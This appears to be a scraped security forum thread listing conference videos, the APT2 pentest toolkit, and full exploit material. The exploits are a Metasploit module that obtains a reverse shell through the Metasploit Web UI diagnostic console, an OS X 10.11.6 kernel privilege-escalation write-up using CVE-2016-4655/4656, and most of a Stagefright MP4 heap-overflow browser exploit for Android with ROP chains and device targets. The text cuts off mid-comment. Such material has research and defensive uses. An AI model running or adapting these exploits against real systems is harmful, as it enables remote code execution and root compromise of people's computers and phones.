      • 3
      • Upvote
  10. These are the videos of the presentations from Derbycon 2016. Big thanks to my video jockeys Sabrina, Some Ninja Master, Glenn Barret, Dave Lauer, Jordan Meurer, Brandon Grindatti, Joey, Fozy, nightcarnage, Evan Davison, Chris Bridwell, Rick Hayes, Tim Sayre, Lisa Philpott, Ben Pendygraft, Sarah Clarke, Steven (SciaticNerd), Cory Hurst, Sam Remington, Barbie, Chris Bissle (and maybe the speakers too I guess). Link: http://www.irongeek.com/i.php?page=videos/derbycon6/mainlist
  11. APT2 - An Automated Penetration Testing Toolkit dM. `MMMMMMMb. MMMMMMMMMM ,MMb MM `Mb / MM \ d'YM. MM MM MM ____ ,P `Mb MM MM MM 6MMMMb d' YM. MM .M9 MM MM' `Mb ,P `Mb MMMMMMM9' MM ,MM d' YM. MM MM ,MM' ,MMMMMMMMb MM MM ,M' d' YM. MM MM ,M' _dM_ _dMM_MM_ _MM_MMMMMMMM An Automated Penetration Testing Toolkit This tool will perform an NMap scan, or import the results of a scan from Nexpose, Nessus, or NMap. The processesd results will be used to launch exploit and enumeration modules according to the configurable Safe Level and enumerated service information. All module results are stored on localhost and are part of APT2's Knowledge Base (KB). The KB is accessible from within the application and allows the user to view the harvested results of an exploit module. Link: https://github.com/MooseDojo/apt2
      • 2
      • Upvote
  12. Metasploit Web UI - Diagnostic Console Command Execution ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Metasploit Web UI Diagnostic Console Command Execution', 'Description' => %q{ This module exploits the "diagnostic console" feature in the Metasploit Web UI to obtain a reverse shell. The diagnostic console is able to be enabled or disabled by an administrator on Metasploit Pro and by an authenticated user on Metasploit Express and Metasploit Community. When enabled, the diagnostic console provides access to msfconsole via the web interface. An authenticated user can then use the console to execute shell commands. NOTE: Valid credentials are required for this module. Tested against: Metasploit Community 4.1.0, Metasploit Community 4.8.2, Metasploit Community 4.12.0 }, 'Author' => [ 'Justin Steven' ], # @justinsteven 'License' => MSF_LICENSE, 'Privileged' => true, 'Arch' => ARCH_CMD, 'Payload' => { 'PayloadType' => 'cmd' }, 'Targets' => [ [ 'Unix', { 'Platform' => [ 'unix' ] } ], [ 'Windows', { 'Platform' => [ 'windows' ] } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Aug 23 2016' )) register_options( [ OptBool.new('SSL', [ true, 'Use SSL', true ]), OptPort.new('RPORT', [ true, '', 3790 ]), OptString.new('TARGETURI', [ true, 'Metasploit Web UI base path', '/' ]), OptString.new('USERNAME', [ true, 'The user to authenticate as' ]), OptString.new('PASSWORD', [ true, 'The password to authenticate with' ]) ], self.class) end def do_login() print_status('Obtaining cookies and authenticity_token') res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'login'), }) unless res fail_with(Failure::NotFound, 'Failed to retrieve login page') end unless res.headers.include?('Set-Cookie') && res.body =~ /name="authenticity_token"\W+.*\bvalue="([^"]*)"/ fail_with(Failure::UnexpectedReply, "Couldn't find cookies or authenticity_token. Is TARGETURI set correctly?") end authenticity_token = $1 session = res.get_cookies print_status('Logging in') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'user_sessions'), 'cookie' => session, 'vars_post' => { 'utf8' => '\xE2\x9C\x93', 'authenticity_token' => authenticity_token, 'user_session[username]' => datastore['USERNAME'], 'user_session[password]' => datastore['PASSWORD'], 'commit' => 'Sign in' } }) unless res fail_with(Failure::NotFound, 'Failed to log in') end return res.get_cookies, authenticity_token end def get_console_status(session) print_status('Getting diagnostic console status and profile_id') res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'settings'), 'cookie' => session, }) unless res fail_with(Failure::NotFound, 'Failed to get diagnostic console status or profile_id') end unless res.body =~ /\bid="profile_id"\W+.*\bvalue="([^"]*)"/ fail_with(Failure::UnexpectedReply, 'Failed to get profile_id') end profile_id = $1 if res.body =~ /<input\W+.*\b(id="allow_console_access"\W+.*\bchecked="checked"|checked="checked"\W+.*\bid="allow_console_access")/ console_status = true elsif res.body =~ /<input\W+.*\bid="allow_console_access"/ console_status = false else fail_with(Failure::UnexpectedReply, 'Failed to get diagnostic console status') end print_good("Console is currently: #{console_status ? 'Enabled' : 'Disabled'}") return console_status, profile_id end def set_console_status(session, authenticity_token, profile_id, new_console_status) print_status("#{new_console_status ? 'Enabling' : 'Disabling'} diagnostic console") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'settings', 'update_profile'), 'cookie' => session, 'vars_post' => { 'utf8' => '\xE2\x9C\x93', '_method' => 'patch', 'authenticity_token' => authenticity_token, 'profile_id' => profile_id, 'allow_console_access' => new_console_status, 'commit' => 'Update Settings' } }) unless res fail_with(Failure::NotFound, 'Failed to set status of diagnostic console') end end def get_container_id(session, container_label) container_label_singular = container_label.gsub(/s$/, "") print_status("Getting ID of a valid #{container_label_singular}") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, container_label), 'cookie' => session, }) unless res && res.body =~ /\bid="#{container_label_singular}_([^"]*)"/ print_warning("Failed to get a valid #{container_label_singular} ID") return end container_id = $1 vprint_good("Got: #{container_id}") container_id end def get_console(session, container_label, container_id) print_status('Creating a console, getting its ID and authenticity_token') res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, container_label, container_id, 'console'), 'cookie' => session, }) unless res && res.headers['location'] fail_with(Failure::UnexpectedReply, 'Failed to get a console ID') end console_id = res.headers['location'].split('/')[-1] vprint_good("Got console ID: #{console_id}") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, container_label, container_id, 'consoles', console_id), 'cookie' => session, }) unless res && res.body =~ /console_init\('console', 'console', '([^']*)'/ fail_with(Failure::UnexpectedReply, 'Failed to get console authenticity_token') end console_authenticity_token = $1 return console_id, console_authenticity_token end def run_command(session, container_label, console_authenticity_token, container_id, console_id, command) print_status('Running payload') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, container_label, container_id, 'consoles', console_id), 'cookie' => session, 'vars_post' => { 'read' => 'yes', 'cmd' => command, 'authenticity_token' => console_authenticity_token, 'last_event' => '0', '_' => '' } }) unless res fail_with(Failure::NotFound, 'Failed to run command') end end def exploit session, authenticity_token = do_login() original_console_status, profile_id = get_console_status(session) unless original_console_status set_console_status(session, authenticity_token, profile_id, true) end if container_id = get_container_id(session, "workspaces") # target calls them "workspaces" container_label = "workspaces" elsif container_id = get_container_id(session, "projects") # target calls them "projects" container_label = "projects" else fail_with(Failure::Unknown, 'Failed to get workspace ID or project ID. Cannot continue.') end console_id, console_authenticity_token = get_console(session, container_label,container_id) run_command(session, container_label, console_authenticity_token, container_id, console_id, payload.encoded) unless original_console_status set_console_status(session, authenticity_token, profile_id, false) end handler end end Sursa: https://www.exploit-db.com/exploits/40415/
  13. Local privilege escalation for OS X 10.11.6 via PEGASUS Author: Min (Spark) Zheng @ Team OverSky 0x00 Introduction Because of the PEGASUS apt issue on iOS, Trident exploit is very hot recently. From Lookout’s report, there are three vulnerabilities in the Trident exploit: CVE-2016-4657: Visiting a maliciously crafted website may lead to arbitrary code execution. CVE-2016-4655: An application may be able to disclose kernel memory. CVE-2016-4656: An application may be able to execute arbitrary code with kernel privileges. Although Lookout didn’t release the malware, Stefan Esser and Pangu still found the vulnerabilities of CVE-2016-4655 and CVE-2016-4656. Therefore, we can use these two vulnerabilities to achieve local privilege escalation for OS X 10.11.6 and jailbreak for iOS 9.3.4. 0x01 CVE-2016-4655 kernel info leak Because XNU kernel doesn’t check the length of serialized OSNumber in the OSUnserializeBinary() function, we can create an OSNumber with a very long length: uint32_t data[] = { 0x000000d3, 0x81000001, 0x08000004, 0x006e696d, 0x84000200, //change the length of OSNumber 0x41414141, 0x41414141 }; After sending the serialized OSNumber to the kernel, we can use io_registry_entry_get_property_bytes() to get the data back from the kernel: Because we can control the length of returned data, we can get extra data from the kernel stack. Some useful information like function return address can help us to calculate the kernel slide and break the kalsr protection. 0x02 CVE-2016-4656 kernel UAF For CVE-2016-4656, Stefan Esser introduced two ways to trigger the UAF vulnerability. We will use the sample way to exploit the kernel in this article. We know that OSUnserializeBinary() supports OSString and OSSymbol as the keys for the dictionary and we can use an OSObject to point to an old key. However, the OSString key will be freed when it convents into an OSSymbol. Therefore, if we create an OSObject and point it to a freed OSString, it will trigger UAF in the kernel. Here is the crash point when the system wants to retain an OSObject that points to a freed OSString: Therefore, we can create a crafted dictionary: <dict> <string>A</string> <bool>true</bool> <key>B</key> <data>vtable data...</data> <object>1</object> </dict> Then we send this crafted dictionary to the kernel, RIP will be set to the vtable entry at index 4 while RAX points to the start of the vtable. For the ROP part, we can reuse the code of tpwn and rootsh to achieve local privilege escalation on OS X. 0x03 Running the Exploit Here is the test environment: OS X EI Capitan 10.11.6 (15G31). Note that if you want to test this exp, you should not install Security Update 2016-001 (like iOS 9.3.5 patch for PEGASUS). And I hardcoded a kernel address to calculate the kslide, it may be different on your mac. Then we compile the exploit and run it: clang -framework IOKit -framework Foundation -framework CoreFoundation -m32 -Wl,-pagezero_size,0 -O3 exp.m lsym.m -o exp As you can see, our exploit got the root privilege successfully. 0x04 Summary In this article, we introduced how to use CVE-2016-4655 and CVE-2016-4656 to achieve local privilege escalation on OS X 10.11.6. Last but not least, the exploit source code can be downloaded at:https://github.com/zhengmin1989/OS-X-10.11.6-Exp-via-PEGASUS 0x05 Reference 1. http://blog.pangu.io/cve-2016-4655/ 2. https://sektioneins.de/en/blog/16-09-02-pegasus-ios-kernel-vulnerability-explained.html 3. https://bazad.github.io/2016/05/mac-os-x-use-after-free/ 4. https://github.com/kpwn/tpwn Sursa: https://jaq.alibaba.com/community/art/show?articleid=532
  14. Android 5.0 <= 5.1.1 - Stagefright .MP4 tx3g Integer Overflow (Metasploit) ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb def initialize(info={}) super(update_info(info, 'Name' => "Android Stagefright MP4 tx3g Integer Overflow", 'Description' => %q{ This module exploits a integer overflow vulnerability in the Stagefright Library (libstagefright.so). The vulnerability occurs when parsing specially crafted MP4 files. While a wide variety of remote attack vectors exist, this particular exploit is designed to work within an HTML5 compliant browser. Exploitation is done by supplying a specially crafted MP4 file with two tx3g atoms that, when their sizes are summed, cause an integer overflow when processing the second atom. As a result, a temporary buffer is allocated with insufficient size and a memcpy call leads to a heap overflow. This version of the exploit uses a two-stage information leak based on corrupting the MetaData that the browser reads from mediaserver. This method is based on a technique published in NorthBit's Metaphor paper. First, we use a variant of their technique to read the address of a heap buffer located adjacent to a SampleIterator object as the video HTML element's videoHeight. Next, we read the vtable pointer from an empty Vector within the SampleIterator object using the video element's duration. This gives us a code address that we can use to determine the base address of libstagefright and construct a ROP chain dynamically. NOTE: the mediaserver process on many Android devices (Nexus, for example) is constrained by SELinux and thus cannot use the execve system call. To avoid this problem, the original exploit uses a kernel exploit payload that disables SELinux and spawns a shell as root. Work is underway to make the framework more amenable to these types of situations. Until that work is complete, this exploit will only yield a shell on devices without SELinux or with SELinux in permissive mode. }, 'License' => MSF_LICENSE, 'Author' => [ # Exodus/jordan # initial discovery / disclosure 'jduck', # Metasploit module, further infoleak development 'NorthBit' # intiial information leak implementation ], 'References' => [ [ 'CVE', '2015-3864' ], [ 'URL', 'https://blog.exodusintel.com/2015/08/13/stagefright-mission-accomplished/' ], [ 'URL', 'http://googleprojectzero.blogspot.com/2015/09/stagefrightened.html' ], [ 'URL', 'https://raw.githubusercontent.com/NorthBit/Public/master/NorthBit-Metaphor.pdf' ], [ 'URL', 'https://github.com/NorthBit/Metaphor' ], # Not used, but related [ 'URL', 'http://drops.wooyun.org/papers/7558' ], [ 'URL', 'http://translate.wooyun.io/2015/08/08/Stagefright-Vulnerability-Disclosure.html' ], [ 'URL', 'https://www.nccgroup.trust/globalassets/our-research/uk/whitepapers/2016/01/libstagefright-exploit-notespdf/' ], ], 'Payload' => { 'Space' => 2048, 'DisableNops' => true, }, #'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/mettle/reverse_tcp' }, 'Platform' => 'linux', 'Arch' => [ARCH_ARMLE], # TODO: , ARCH_X86, ARCH_X86_64, ARCH_MIPSLE], 'Targets' => [ [ 'Automatic', {} ], # # Each target includes information about the device, firmware, and # how exactly to about exploiting it. # # Primarily, these targets are used to map a browser's User-Agent to # exploit specifics for that device / build. # [ 'Nexus 7 (Wi-Fi) (razor) with Android 5.0 (LRX21P)', { 'Model' => 'Nexus 7', 'Build' => 'LRX21P', 'Release' => '5.0', 'Rop' => 'lrx', 'SprayAddress' => 0xb1508000 } ], [ 'Nexus 7 (Wi-Fi) (razor) with Android 5.0.1 (LRX22C)', { 'Model' => 'Nexus 7', 'Build' => 'LRX22C', 'Release' => '5.0.1', 'Rop' => 'lrx' } ], [ 'Nexus 7 (Wi-Fi) (razor) with Android 5.0.2 (LRX22G)', { 'Model' => 'Nexus 7', 'Build' => 'LRX22G', 'Release' => '5.0.2', 'Rop' => 'lrx' } ], [ 'Nexus 7 (Wi-Fi) (razor) with Android 5.1 (LMY47O)', { 'Model' => 'Nexus 7', 'Build' => 'LMY47O', 'Release' => '5.1', 'Rop' => 'lmy-1' } ], [ 'Nexus 7 (Wi-Fi) (razor) with Android 5.1.1 (LMY47V)', { 'Model' => 'Nexus 7', 'Build' => 'LMY47V', 'Release' => '5.1.1', 'Rop' => 'lmy-1' } ], [ 'Nexus 7 (Wi-Fi) (razor) with Android 5.1.1 (LMY48G)', { 'Model' => 'Nexus 7', 'Build' => 'LMY48G', 'Release' => '5.1.1', 'Rop' => 'lmy-1' } ], [ 'Nexus 7 (Wi-Fi) (razor) with Android 5.1.1 (LMY48I)', { 'Model' => 'Nexus 7', 'Build' => 'LMY48I', 'Release' => '5.1.1', 'Rop' => 'lmy-2' } ], [ 'Nexus 7 (Mobile) (razorg) with Android 5.0.2 (LRX22G)', { 'Model' => 'Nexus 7', 'Build' => 'LRX22G', 'Release' => '5.0.2', 'Rop' => 'lrx' } ], [ 'Nexus 7 (Mobile) (razorg) with Android 5.1 (LMY47O)', { 'Model' => 'Nexus 7', 'Build' => 'LMY47O', 'Release' => '5.1', 'Rop' => 'lmy-1' } ], [ 'Nexus 7 (Mobile) (razorg) with Android 5.1.1 (LMY47V)', { 'Model' => 'Nexus 7', 'Build' => 'LMY47V', 'Release' => '5.1.1', 'Rop' => 'lmy-1' } ], [ 'Nexus 5 (hammerhead) with Android 5.0 (LRX21O)', { 'Model' => 'Nexus 5', 'Build' => 'LRX21O', 'Release' => '5.0', 'Rop' => 'lrx' } ], [ 'Nexus 5 (hammerhead) with Android 5.0.1 (LRX22C)', { 'Model' => 'Nexus 5', 'Build' => 'LRX22C', 'Release' => '5.0.1', 'Rop' => 'lrx' } ], [ 'Nexus 5 (hammerhead) with Android 5.1 (LMY47D)', { 'Model' => 'Nexus 5', 'Build' => 'LMY47D', 'Release' => '5.1', 'Rop' => 'lmy-1' } ], [ 'Nexus 5 (hammerhead) with Android 5.1 (LMY47I)', { 'Model' => 'Nexus 5', 'Build' => 'LMY47I', 'Release' => '5.1', 'Rop' => 'lmy-1' } ], [ 'Nexus 5 (hammerhead) with Android 5.1.1 (LMY48B)', { 'Model' => 'Nexus 5', 'Build' => 'LMY48B', 'Release' => '5.1.1', 'Rop' => 'lmy-1' } ], [ 'Nexus 5 (hammerhead) with Android 5.1.1 (LMY48I)', { 'Model' => 'Nexus 5', 'Build' => 'LMY48I', 'Release' => '5.1.1', 'Rop' => 'lmy-2' } ], [ 'Nexus 6 (shamu) with Android 5.0 (LRX21O)', { 'Model' => 'Nexus 6', 'Build' => 'LRX21O', 'Release' => '5.0', 'Rop' => 'lrx' } ], [ 'Nexus 6 (shamu) with Android 5.0.1 (LRX22C)', { 'Model' => 'Nexus 6', 'Build' => 'LRX22C', 'Release' => '5.0.1', 'Rop' => 'lrx' } ], [ 'Nexus 6 (shamu) with Android 5.1 (LMY47D)', { 'Model' => 'Nexus 6', 'Build' => 'LMY47D', 'Release' => '5.1', 'Rop' => 'lmy-1' } ], [ 'Nexus 6 (shamu) with Android 5.1 (LMY47E)', { 'Model' => 'Nexus 6', 'Build' => 'LMY47E', 'Release' => '5.1', 'Rop' => 'lmy-1' } ], [ 'Nexus 6 (shamu) with Android 5.1 (LMY47I)', { 'Model' => 'Nexus 6', 'Build' => 'LMY47I', 'Release' => '5.1', 'Rop' => 'lmy-1' } ], [ 'Nexus 6 (shamu) with Android 5.1.1 (LYZ28E)', { 'Model' => 'Nexus 6', 'Build' => 'LYZ28E', 'Release' => '5.1.1', 'Rop' => 'shamu / LYZ28E' } ], [ 'Nexus 6 (shamu) with Android 5.1 (LMY47M)', { 'Model' => 'Nexus 6', 'Build' => 'LMY47M', 'Release' => '5.1', 'Rop' => 'lmy-1' } ], [ 'Nexus 6 (shamu) with Android 5.1.1 (LMY47Z)', { 'Model' => 'Nexus 6', 'Build' => 'LMY47Z', 'Release' => '5.1.1', 'Rop' => 'lmy-1' } ], [ 'Nexus 6 (shamu) with Android 5.1.1 (LVY48C)', { 'Model' => 'Nexus 6', 'Build' => 'LVY48C', 'Release' => '5.1.1', 'Rop' => 'lmy-1' } ], [ 'Nexus 6 (shamu) with Android 5.1.1 (LMY48I)', { 'Model' => 'Nexus 6', 'Build' => 'LMY48I', 'Release' => '5.1.1', 'Rop' => 'lmy-2' } ], [ 'Nexus 6 (shamu) with Android 5.1.1 (LYZ28J)', { 'Model' => 'Nexus 6', 'Build' => 'LYZ28J', 'Release' => '5.1.1', 'Rop' => 'shamu / LYZ28J' } ], [ 'Nexus 6 (shamu) with Android 5.1.1 (LVY48E)', { 'Model' => 'Nexus 6', 'Build' => 'LVY48E', 'Release' => '5.1.1', 'Rop' => 'lmy-2' } ], [ 'Samsung Galaxy S5 (VZW SM-G900V) with Android 5.0 (LRX21T)', { 'Model' => 'SM-G900V', 'Build' => 'LRX21T', 'Release' => '5.0', 'Rop' => 'sm-g900v / OE1', 'SprayAddress' => 0xaf008000, 'SampleIteratorSize' => 0xa8, 'VectorSize' => 0xec } ] ], 'Privileged' => true, 'DisclosureDate' => "Aug 13 2015", 'DefaultTarget' => 0)) =begin register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) ], self.class) =end end def exploit @peers = {} super end def get_target(request) agent = request.headers['User-Agent'] self.targets.each do |t| next if t.name == 'Automatic' regexp = Regexp.escape("Linux; Android #{t['Release']}; #{t['Model']} Build/#{t['Build']}") return t if (agent =~ /#{regexp}/) end return nil end # # Construct a page worth of data that we'll spray # # NOTE: The data within is target-specific # def build_spray(my_target, peer, spray_addr) # Initialize the page to a reasonable state. page = '' page = rand_text(4096) # Load target-based exploit-specific variables details = get_details(my_target) return nil if details.nil? # Calculate the libstagefright.so base address vector_rva = details['VectorRVA'] vector_ptr = peer[:vector_vtable_addr] libsf_base = (vector_ptr & 0xfffff000) - (vector_rva & 0xfffff000) # If we smash mDataSource, this ends up controlling the program counter!! =begin 0xb65fd7c4 <parseChunk(long long*, int)+4596>: ldr r2, [r0, #0] 0xb65fd7c6 <parseChunk(long long*, int)+4598>: str r1, [sp, #0] 0xb65fd7c8 <parseChunk(long long*, int)+4600>: ldr r5, [r7, #0] 0xb65fd7ca <parseChunk(long long*, int)+4602>: str r5, [sp, #4] 0xb65fd7cc <parseChunk(long long*, int)+4604>: ldr r6, [r2, #28] 0xb65fd7ce <parseChunk(long long*, int)+4606>: ldrd r2, r3, [r10] 0xb65fd7d2 <parseChunk(long long*, int)+4610>: blx r6 0xb65fd7d4 <parseChunk(long long*, int)+4612>: ldrd r2, r3, [sp, #64] ; 0x40 =end # Initialize our pivot values and adjust them to libstagefright's base. # First, load r0 (pointer to our buffer) into some register.. mds_pivot1 = libsf_base + details['Pivot1'] # Next, load sp (and probably other stuff) from there mds_pivot2 = libsf_base + details['Pivot2'] # Finally, skip over some stuff and kick of the ROP chain mds_adjust = libsf_base + details['Adjust'] # The offset to the ROP change beginning rop_start_off = 0x30 # Point sp to the remainder of the ROP chain new_sp = spray_addr + rop_start_off # Sometimes the spray isn't aligned perfectly, this fixes that situation... unalign_off = 0x998 new_sp2 = new_sp + 0x1000 - unalign_off # This pointer should point to the beginning of the shellcode payload payload_ptr = spray_addr + 0xa0 # Put the stack back! stack_fix = "\x0a\xd0\xa0\xe1" # mov sp, r10 ; restore original sp # Depending on the pivot strategy in use, we have to set things up slightly # differently... # # In each case, we use a two-stage pivot that reads the spray address from # r0 (we smashed that, remember). # # The addroffs array is used to map values to the offsets where the pivots # expect them to be. # case details['PivotStrategy'] when 'lrx' addroffs = [ [ 0x0, new_sp ], [ 0x10, mds_pivot2 ], [ 0x1c, mds_pivot1 ], ] # Since we are only popping one item in pivot2, we reduce the rop_start_off rop_start_off -= 4 # Adjust the payload pointer payload_ptr -= 4 when 'lmy-1' addroffs = [ [ 0x8, new_sp ], [ 0xc, mds_adjust ], [ 0x10, mds_pivot2 ], [ 0x1c, mds_pivot1 ] ] when 'lmy-2' ptr_to_mds_pivot2 = spray_addr + 0x10 - 0x18 # adjust for displacement addroffs = [ [ 0x0, ptr_to_mds_pivot2 ], [ 0x8, new_sp ], [ 0xc, mds_adjust ], [ 0x10, mds_pivot2 ], [ 0x1c, mds_pivot1 ] ] stack_fix = "\x09\xd0\xa0\xe1" # mov sp, r9 ; restore original sp when 'lyz' ptr_to_mds_pivot2 = spray_addr + 0x8 addroffs = [ [ 0x0, ptr_to_mds_pivot2 ], [ 0x8, mds_pivot2 ], [ 0x1c, mds_pivot1 ], [ 0x24, new_sp ], # lr is at 0x28! [ 0x2c, mds_adjust ] ] # We can't fix it becuse we don't know where the original stack is anymore :-/ stack_fix = "" when 'sm-g900v' addroffs = [ [ 0x4, mds_adjust ], [ 0x10, new_sp ], [ 0x1c, mds_pivot1 ], [ 0x20, mds_pivot2 ] ] else print_error("ERROR: PivotStrategy #{details['PivotStrategy']} is not implemented yet!") return nil end # We need our ROP to build the page... Create it. rop = generate_rop_payload('stagefright', stack_fix + payload.encoded, {'base' => libsf_base, 'target' => my_target['Rop'] }) # Fix up the payload pointer in the ROP idx = rop.index([ 0xc600613c ].pack('V')) rop[idx, 4] = [ payload_ptr ].pack('V') # Insert the ROP page[rop_start_off, rop.length] = rop # Insert the special values... addroffs.each do |ao| off,addr = ao page[off,4] = [ addr ].pack('V') # Sometimes the spray isn't aligned perfectly... if addr == new_sp page[off+unalign_off,4] = [ new_sp2 ].pack('V') else page[off+unalign_off,4] = [ addr ].pack('V') end end page end # # MPEG-4 specific functionality # def get_atom(tag, data='', length=nil) if tag.length != 4 raise 'Yo! They call it "FourCC" for a reason.' end length ||= data.length + 8 if length >= 2**32 return [ [ 1 ].pack('N'), tag, [ length ].pack('Q>'), data ].join end [ [ length ].pack('N'), tag, data ].join end def get_stsc(num) stsc_data = [ 0, num ].pack('N*') # version/flags, mNumSampleToChunkOffsets stsc_data << [ 13+1, 0x5a5a5a5a, 37 ].pack('N*') * num get_atom('stsc', stsc_data) end def get_ftyp # Build the MP4 header... ftyp = 'mp42' ftyp << [ 0 ].pack('N') ftyp << 'mp42' ftyp << 'isom' get_atom('ftyp', ftyp) end def get_pssh(alloc_size) pssh_data = '' pssh_data << [ 0 ].pack('N') pssh_data << [ 0, 0, 0, 0 ].pack('N*') pssh_data << [ alloc_size ].pack('N') alloc_size.times do |off| pssh_data << [ 0x55aa0000 + off ] .pack('V') end get_atom('pssh', pssh_data) end def get_metaitem(tag, type, data) ret = '' ret << tag.reverse ret << type.reverse case type when 'in32' ret << [ 4, data ].pack('V*') when 'in64' ret << [ 8, data ].pack('V*') else raise "How do you expect me to make a #{type.inspect} ??" end ret end def jemalloc_round(sz) # These are in the 16-byte aligned runs if (sz > 0x10 && sz <= 0x80) round = 16 # 160 starts the 32-byte aligned runs elsif (sz > 0x80 && sz <= 0x140) round = 32 else raise "Don't know how to round 0x%x" % sz end ret = (sz + (round - 1)) / round ret *= round return ret end # # Leak data from mediaserver back to the browser! # # Stage 1 - leak a heap pointer near a SampleIterator object # Stage 2 - read a code pointer from the SampleIterator object # def get_mp4_leak(my_target, peer) # MPEG4 Fileformat Reference: # http://qtra.apple.com/index.html # # Structure: # [File type Chunk][Other Atom Chunks] # # Where [Chunk] == [Atom/Box Length][Atom/Box Type][Atom/Box Data] # sampiter_alloc_size = 0x78 sampiter_alloc_size = my_target['SampleIteratorSize'] if not my_target['SampleIteratorSize'].nil? sampiter_rounded = jemalloc_round(sampiter_alloc_size) vector_alloc_size = 0x8c vector_alloc_size = my_target['VectorSize'] if not my_target['VectorSize'].nil? groom_count = 0x10 is_samsung = (my_target['Rop'] == 'sm-g900v / OE1') # Coerce the heap into a favorable shape (fill holes) shape_vector = get_pssh(vector_alloc_size) # Allocate a block of memory of the correct size placeholder = get_atom('titl', ('t' * 4) + ('titl' * (vector_alloc_size / 4)) + [ 0 ].pack('C')) # Make the first tx3g chunk, which is meant to overflow into a MetaData array. # We account for the overhead of both chunks here and aim for this layout: # # placeholder after re-allocation | vector array data # <len><tag><padding><is-64bit><tag><len hi><len low> | <overflow data> # # Realistically, tx3g1_padding can be any number that rounds up to the # correct size class. tx3g1_overhead = 0x8 tx3g2_overhead = 0x10 tx3g_target = jemalloc_round(vector_alloc_size) tx3g1_padding = tx3g_target - (tx3g1_overhead + tx3g2_overhead) tx3g_data = 'x' * tx3g1_padding tx3g_1 = get_atom('tx3g', tx3g_data) # NOTE: hvcC added in 3b5a6b9fa6c6825a1d0b441429e2bb365b259827 (5.0.0 and later only) # avcC was in the initial commit. near_sampiter = get_atom('hvcC', "C" * sampiter_alloc_size) # Craft the data that will overwrite the header and part of the MetaData # array... more_data = '' more_data << [ 9, vector_alloc_size - 0x10, 0, 0 ].pack('V*') # Now add the thing(s) we want to control (partially) # # We add some BS entries just to kill the real 'heig' and get proper # ordering... near_sampiter_addr = peer[:near_sampiter_addr] if near_sampiter_addr.nil? # Part 1. Leak the address of a chunk that should be adjacent to a # SampleIterator object. if is_samsung # On Samsung: # Before: dmcE, dura, frmR, heig, hvcC, inpS, lang, mime, widt # After: dmcE, abc1, abc2, abc3, heig... more_data << get_metaitem('dmcE', 'in32', 1) more_data << get_metaitem('abc1', 'in32', 31335) more_data << get_metaitem('abc2', 'in32', 31336) end # On Nexus: # Before: heig, hvcc, inpS, mime, text, widt # After: abc3, heig... more_data << get_metaitem('abc3', 'in32', 31337) # NOTE: We only use the first 12 bytes so that we don't overwrite the # pointer that is already there! heig = get_metaitem('heig', 'in32', 31338) more_data << heig[0,12] else # Part 2. Read from the specified address, as with the original Metaphor # exploit. if is_samsung # On Samsung: # Before: dmcE, dura, frmR, heig, hvcC, inpS, lang, mime, widt # After: dmcE, dura, ... more_data << get_metaitem('dmcE', 'in32', 1) else # On Nexus: # Before: avcc, heig, inpS, mime, text, widt # After: dura, ... near_sampiter = get_atom('avcC', "C" * sampiter_alloc_size) end # Try to read the mCurrentChunkSampleSizes vtable ptr within a # SampleIterator object. This only works because the Vector is empty thus # passing the restrictions imposed by the duration conversion. ptr_to_vector_vtable = near_sampiter_addr - (sampiter_rounded * 2) + 0x30 more_data << get_metaitem('dura', 'in64', ptr_to_vector_vtable) end # The tx3g2 then needs to trigger the integer overflow, but can contain any # contents. The overflow will terminate at the end of the file. # # NOTE: The second tx3g chunk's overhead ends up in the slack space between # the replaced placeholder and the MetaData Vector contents. big_num = 0x1ffffffff - tx3g_1.length + 1 + vector_alloc_size tx3g_2 = get_atom('tx3g', more_data, big_num) # Create a minimal, verified 'trak' to satisfy mLastTrack being set stbl_data = get_stsc(1) stbl_data << get_atom('stco', [ 0, 0 ].pack('N*')) # version, mNumChunkOffsets stbl_data << get_atom('stsz', [ 0, 0, 0 ].pack('N*')) # version, mDefaultSampleSize, mNumSampleSizes stbl_data << get_atom('stts', [ 0, 0 ].pack('N*')) # version, mTimeToSampleCount stbl = get_atom('stbl', stbl_data) verified_trak = get_atom('trak', stbl) # Start putting it all together into a track. trak_data = '' if is_samsung # Put some legitimate duration information so we know if we failed mdhd_data = [ 0 ].pack('N') # version mdhd_data << "\x00" * 8 # padding mdhd_data << [ 1 ].pack('N') # timescale mdhd_data << [ 314 ].pack('N') # duration mdhd_data << [ 0 ].pack('n') # lang trak_data << get_atom('mdhd', mdhd_data) end # Add this so that our file is identified as video/mp4 mp4v_data = '' mp4v_data << [ 0 ].pack('C') * 24 # padding mp4v_data << [ 1024 ].pack('n') # width mp4v_data << [ 768 ].pack('n') # height mp4v_data << [ 0 ].pack('C') * (78 - mp4v_data.length) # padding trak_data << get_atom('mp4v', mp4v_data) # satisfy hasVideo = true # Here, we cause allocations such that we can replace the placeholder... if is_samsung trak_data << placeholder # Somethign we can free trak_data << shape_vector # Eat the loose block... trak_data << stbl # Cause the growth of the track->meta Vector else trak_data << stbl # Cause the growth of the track->meta Vector trak_data << placeholder # Somethign we can free trak_data << shape_vector # Eat the loose block... end # Add the thing whose entry in the MetaData vector we want to overwrite... trak_data << near_sampiter # Get our overflow data into memory trigger = '' trigger << tx3g_1 # Free the place holder trigger << get_atom('titl', ('t' * 4) + ('BBBB' * vector_alloc_size) + [ 0 ].pack('C')) # Overflow the temporary buffer into the following MetaData array trigger << tx3g_2 # !!! NOTE !!! # On Samsung devices, the failure that causes ERR to be returned from # 'tx3g' processing leads to 